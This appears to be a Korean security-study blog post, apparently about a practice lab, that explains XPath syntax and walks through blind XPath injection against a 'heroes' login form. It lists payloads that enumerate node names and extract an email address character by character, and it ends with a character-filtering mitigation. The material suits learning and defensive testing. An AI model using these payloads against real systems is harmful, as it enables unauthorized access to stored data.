wonder
정보보안 스터디 - 14주차 7일 - XML injection (Xpath) 본문
☞ XML injection
- XML은 HTML 을 개선한 마크업 언어입니다.
- HTML 은 클라이언트 브라우저로 데이터를 보여주는 반면에, XML 은 데이터를 저장하고 응답하는데 주로 사용합니다.
- 또한, 홈페이지 구축 기능, 검색 기능 등이 향상되었으며, 웹 페이지의 추가 및 작성이 효율적입니다.
html 상에서 데이터베이스 사용없이 데이터베이스 개념으로 xml파일을 이용하여 사용할 수 있습니다.
xml 역시 마크업 언어이기 때문에 열고 닫기가 필요합니다.
각 노드라고 하며
용도는 데이터 베이스와 같이
데이터를 저장하거나 불러올 때 사용합니다.
보통 html 개발과정에서 xml파일을 참조하겠다고 하면 됩니다.
그러면 xml데이터를 불러올 수 있습니다.
/ 최상위 노드 //현재 노드에서 부터 모든 노드 * 모든 노드 . 현재 노드 .. 상위 노드 parent 현재 노드에서 상위 노드 조회 child 현재 노드에서 하위 노드 조회 node() 현재 노드에서 모든 노드 조회 [ ] 조건문 |
count() 노드 개수 확인 string-length() 문자열 길이 확인 name() 노드 이름 확인 substring() 문자열 확인 position() 노드 위치 확인 string() 인자로 받은 값을 문자열로 반환 ::* 지정 노드의 모든 내용 확인 |
☞ injection 과정
xpath("heroes/hero[login='$login' and password='$password']")
로그인을 했을 때 그에 맞는 히어로를 불러오는 창입니다.
select * from hero where login='' and password=''
와 같으며
이 때 인젝션은
select * from hero where login=' 1' or 조건 or 1='1 ' and password=''
1) neo' and 조건 or ' 참 and 조건 or 거짓 and 거짓 조건이 참이면 참 or 거짓 > 참 조건이 거짓이면 거짓 or 거짓 > 거짓 또는 2) 1' or 조건 or ' 거짓 or 조건 or 거짓 and 거짓 조건이 참이면 참 조건이 거짓이면 거짓 |
현재의 위치를
hero일 때
블라인드 라고했을 떄
블라인드와 마찬가지로
일단 데이터 베이스의(부모) 길이를 알아야합니다.
데이터베이스
주석으로 할 수는 없고 neo' and string-length(name(parent::*))<5 or ' 로 참/거짓을 확인해가며 neo' and string-length(name(parent::*))=6 or ' 6글자임을 확인합니다. ::* 데이터를 모두 가져온다는 뜻입니다. |
1' or substring(name(parent::*),1,1)='h' or ' 1' or substring(name(parent::*),1,1)='e' or ' 1' or substring(name(parent::*),1,1)='r' or ' .. 로 부모 노드는 heroes 임을 확인합니다. |
테이블
그다음 현재노드인 heroes의 자식의 길이를 확인합니다. 1' or string-length(name(../child::*[position()=2]))=4 or ' 포지션을 조건을 지정해 두번째 테이블 길이를 확인합니다. |
1' or substring(name(../child::*[position()=2]),1,1)='h' or ' 1' or substring(name(../child::*[position()=2]),1,1)='e' or ' .. hero임을 확인합니다. |
컬럼확인
hero의 자식 노드 개수를 찾습니다. neo' and count(/heroes/hero[2]/child::*)=6 or ' |
hero의 자식인 두번째 컬럼 길이를 확인합니다. 1' or string-length(name(/heroes/hero[2]/child::*[position()=2]))=5 or ' |
1' or substring(name(/heroes/hero[2]/child::*[position()=2]))='e' or ' 1' or substring(name(/heroes/hero[2]/child::*[position()=2]))='m' or ' .. email임을 확인합니다. |
데이터 추출
데이터를 추출합니다. 길이를 먼저확인합니다. 1' or string-length(string(//hero[2]/email))='10' or ' 데이터는 string으로 문자열로 바꿔줘야 적용됩니다. |
1' or substring(string(/heroes/hero[2]/email),1,1)='a' or ' 1' or substring(string(/heroes/hero[2]/email),1,1)='n' or ' angle@gmail.com임을 확인합니다. |
☞ 대응 방안
대응 방안은 아래의 기호를 치환하는 것입니다. str_replace("기호", " " ~)
(), =, [, ], ', /, *, :
보고서 쓸 때 과정
스크린샷을 찍고 사진에 순서와 설명 적습니다.
왔다갔다 하지 않고 해당 취약점을 보고서에 바로 적습니다.
'Security > 웹 모의해킹' 카테고리의 다른 글
정보보안 스터디 - 15주차 2일 - 각종 웹 공격 Snort 차단 (0) | 2023.01.21 |
---|---|
정보보안 스터디 - 15주차 1일 - openSSL 취약점 사례 (0) | 2023.01.20 |
정보보안 스터디 - 14주차 6일 - blind방식 SQLi 상세 연구 (0) | 2023.01.17 |
정보보안 스터디 - 14주차 5일 - SQLite DBMS / concat 이용 (0) | 2023.01.16 |
정보보안 스터디 - 14주차 2일 - mysql 명령어 복습 (0) | 2023.01.13 |